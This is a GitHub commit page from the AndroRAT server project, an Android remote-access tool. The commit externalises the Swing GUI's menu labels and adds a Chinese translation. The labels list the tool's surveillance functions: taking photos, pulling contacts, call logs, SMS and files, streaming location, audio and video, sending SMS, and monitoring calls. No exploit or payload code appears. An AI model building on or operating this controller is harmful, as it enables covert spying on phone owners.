Skip to content

Commit

Permalink
Add Chinese translation
Browse files Browse the repository at this point in the history
  • Loading branch information
wszf committed Feb 23, 2014
1 parent c175c8a commit 6a96aa7
Show file tree
Hide file tree
Showing 3 changed files with 63 additions and 21 deletions.
42 changes: 22 additions & 20 deletions src/AndroratServer/src/gui/UserGUI.java
Original file line number Diff line number Diff line change
Expand Up @@ -47,8 +47,10 @@
import javax.swing.JSplitPane;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import java.util.ResourceBundle;

public class UserGUI extends JFrame implements WindowListener {
private static final ResourceBundle BUNDLE = ResourceBundle.getBundle("gui.messages"); //$NON-NLS-1$

private JPanel contentPane;
private JTabbedPane tabbedPane;
Expand Down Expand Up @@ -498,17 +500,17 @@ private void initGUI() {
JMenuBar menuBar = new JMenuBar();
setJMenuBar(menuBar);

JMenu mnOptions = new JMenu("Options");
JMenu mnOptions = new JMenu(BUNDLE.getString("Options")); //$NON-NLS-1$
menuBar.add(mnOptions);

JMenuItem mntmCloseInterface = new JMenuItem("Close Window");
JMenuItem mntmCloseInterface = new JMenuItem(BUNDLE.getString("Close-Window")); //$NON-NLS-1$
mntmCloseInterface.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
fireButtonFinish();
}
});

JMenuItem mntmCloseTabViewer = new JMenuItem("Close Tab");
JMenuItem mntmCloseTabViewer = new JMenuItem(BUNDLE.getString("Close-Tab")); //$NON-NLS-1$
mntmCloseTabViewer.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_R, InputEvent.CTRL_MASK));
mntmCloseTabViewer.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Expand All @@ -518,115 +520,115 @@ public void actionPerformed(ActionEvent e) {
mnOptions.add(mntmCloseTabViewer);
mnOptions.add(mntmCloseInterface);

JMenu mnRcuprationDeDonnes = new JMenu("Get Android data");
JMenu mnRcuprationDeDonnes = new JMenu(BUNDLE.getString("Get-data")); //$NON-NLS-1$
menuBar.add(mnRcuprationDeDonnes);

JMenuItem mntmPrendrePhoto = new JMenuItem("Take picture");
JMenuItem mntmPrendrePhoto = new JMenuItem(BUNDLE.getString("Take-pic")); //$NON-NLS-1$
mnRcuprationDeDonnes.add(mntmPrendrePhoto);
mntmPrendrePhoto.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
fireButtonTakePicture();
}
});

JMenuItem mntmFileTree = new JMenuItem("File tree");
JMenuItem mntmFileTree = new JMenuItem(BUNDLE.getString("File-tree")); //$NON-NLS-1$
mnRcuprationDeDonnes.add(mntmFileTree);
mntmFileTree.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
fireButtonFileTree();
}
});

JMenuItem mntmContacts = new JMenuItem("Contacts");
JMenuItem mntmContacts = new JMenuItem(BUNDLE.getString("Contacts")); //$NON-NLS-1$
mnRcuprationDeDonnes.add(mntmContacts);
mntmContacts.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
fireButtonContacts();
}
});

JMenuItem mntmCallLogs = new JMenuItem("Call logs");
JMenuItem mntmCallLogs = new JMenuItem(BUNDLE.getString("Call-logs")); //$NON-NLS-1$
mnRcuprationDeDonnes.add(mntmCallLogs);
mntmCallLogs.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
fireButtonCallLogs();
}
});

JMenuItem mntmSms = new JMenuItem("SMS");
JMenuItem mntmSms = new JMenuItem(BUNDLE.getString("SMS")); //$NON-NLS-1$
mntmSms.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
fireButtonSMS();
}
});
mnRcuprationDeDonnes.add(mntmSms);

JMenu mnStreaming = new JMenu("Streaming");
JMenu mnStreaming = new JMenu(BUNDLE.getString("other")); //$NON-NLS-1$
mnRcuprationDeDonnes.add(mnStreaming);

JMenuItem mntmCoordonnesGps = new JMenuItem("Localisation");
JMenuItem mntmCoordonnesGps = new JMenuItem(BUNDLE.getString("Localisation")); //$NON-NLS-1$
mntmCoordonnesGps.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
fireButtonStreamingGPS();
}
});
mnStreaming.add(mntmCoordonnesGps);

JMenuItem mntmSon = new JMenuItem("Audio");
JMenuItem mntmSon = new JMenuItem(BUNDLE.getString("Audio")); //$NON-NLS-1$
mntmSon.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
fireButtonStreamingSound();
}
});
mnStreaming.add(mntmSon);

JMenuItem mntmVido = new JMenuItem("Video");
JMenuItem mntmVido = new JMenuItem(BUNDLE.getString("Video")); //$NON-NLS-1$
mntmVido.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
fireButtonStreamingVideo();
}
});
mnStreaming.add(mntmVido);

JMenu mnEnvoiDeCommandes = new JMenu("Send command");
JMenu mnEnvoiDeCommandes = new JMenu(BUNDLE.getString("Send-command")); //$NON-NLS-1$
menuBar.add(mnEnvoiDeCommandes);

JMenuItem mntmSendToastMessage = new JMenuItem("Toast message");
JMenuItem mntmSendToastMessage = new JMenuItem(BUNDLE.getString("Toast-message")); //$NON-NLS-1$
mntmSendToastMessage.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
fireButtonToastMessage();
}
});
mnEnvoiDeCommandes.add(mntmSendToastMessage);

JMenuItem mntmSendSms = new JMenuItem("Send SMS");
JMenuItem mntmSendSms = new JMenuItem(BUNDLE.getString("Send-SMS")); //$NON-NLS-1$
mntmSendSms.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
fireButtonSendSMS();
}
});
mnEnvoiDeCommandes.add(mntmSendSms);

JMenuItem mntmGiveCall = new JMenuItem("Give call");
JMenuItem mntmGiveCall = new JMenuItem(BUNDLE.getString("Give-call")); //$NON-NLS-1$
mntmGiveCall.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
fireButtonGiveCall();
}
});
mnEnvoiDeCommandes.add(mntmGiveCall);

JMenu mnMonitoring = new JMenu("Monitoring");
JMenu mnMonitoring = new JMenu(BUNDLE.getString("Monitoring")); //$NON-NLS-1$
menuBar.add(mnMonitoring);

JMenuItem mntmCallMonitor = new JMenuItem("Call monitor");
JMenuItem mntmCallMonitor = new JMenuItem(BUNDLE.getString("Call-monitor")); //$NON-NLS-1$
mntmCallMonitor.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
fireButtonMonitorCall();
}
});
mnMonitoring.add(mntmCallMonitor);

JMenuItem mntmSmsMonitor = new JMenuItem("SMS monitor");
JMenuItem mntmSmsMonitor = new JMenuItem(BUNDLE.getString("SMS-monitor")); //$NON-NLS-1$
mntmSmsMonitor.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
fireButtonMonitorSMS();
Expand Down
22 changes: 21 additions & 1 deletion src/AndroratServer/src/gui/messages.properties
Original file line number Diff line number Diff line change
Expand Up @@ -28,4 +28,24 @@ input-toast-text=Enter your text :
#call dialog
input-call-number=Enter the target cell number :
#prot dialog
input-prot-text=Enter the new server port (need server reboot) :
input-prot-text=Enter the new server port (need server reboot) :
#user GUI
Options=Options
Close-Tab=Close Tab
Close-Window=Close Window
Get-data=Get Android data
Take-pic=Take picture
File-tree=File tree
Contacts=Contacts
Call-logs=Call logs
SMS=SMS
other=Streaming
Localisation=Localisation
Audio=Audio
Video=Video
Send-command=Send command
Toast-message=Toast message
Send-SMS=Send SMS
Monitoring=Monitoring
Call-monitor=Call monitor
SMS-monitor=SMS monitor
20 changes: 20 additions & 0 deletions src/AndroratServer/src/gui/messages_zh_CN.properties
Original file line number Diff line number Diff line change
Expand Up @@ -30,3 +30,23 @@ input-toast-text=\u8F93\u5165\u6587\u5B57:
input-call-number=\u8F93\u5165\u76EE\u6807\u53F7\u7801:
#prot dialog
input-prot-text=\u8F93\u5165\u7AEF\u53E3\u53F7:
#user GUI
Options=\u9009\u9879
Close-Tab=\u5173\u95ED\u6807\u7B7E\u9875
Close-Window=\u5173\u95ED\u7A97\u53E3
Get-data=\u83B7\u53D6Android\u6570\u636E
Take-pic=\u62CD\u6444\u7167\u7247
File-tree=\u6587\u4EF6\u5217\u8868
Contacts=\u8054\u7CFB\u4EBA
Call-logs=\u901A\u8BDD\u8BB0\u5F55
SMS=\u77ED\u4FE1
other=\u5176\u4ED6\u4FE1\u606F
Localisation=\u4F4D\u7F6E
Audio=\u58F0\u97F3
Video=\u89C6\u9891
Send-command=\u53D1\u9001\u547D\u4EE4
Toast-message=\u53D1\u9001Toast\u6D88\u606F
Send-SMS=\u53D1\u9001\u77ED\u4FE1
Monitoring=\u5B9E\u65F6\u76D1\u63A7
Call-monitor=\u62E8\u53F7\u76D1\u63A7
SMS-monitor=\u77ED\u4FE1\u76D1\u63A7

0 comments on commit 6a96aa7

Please sign in to comment.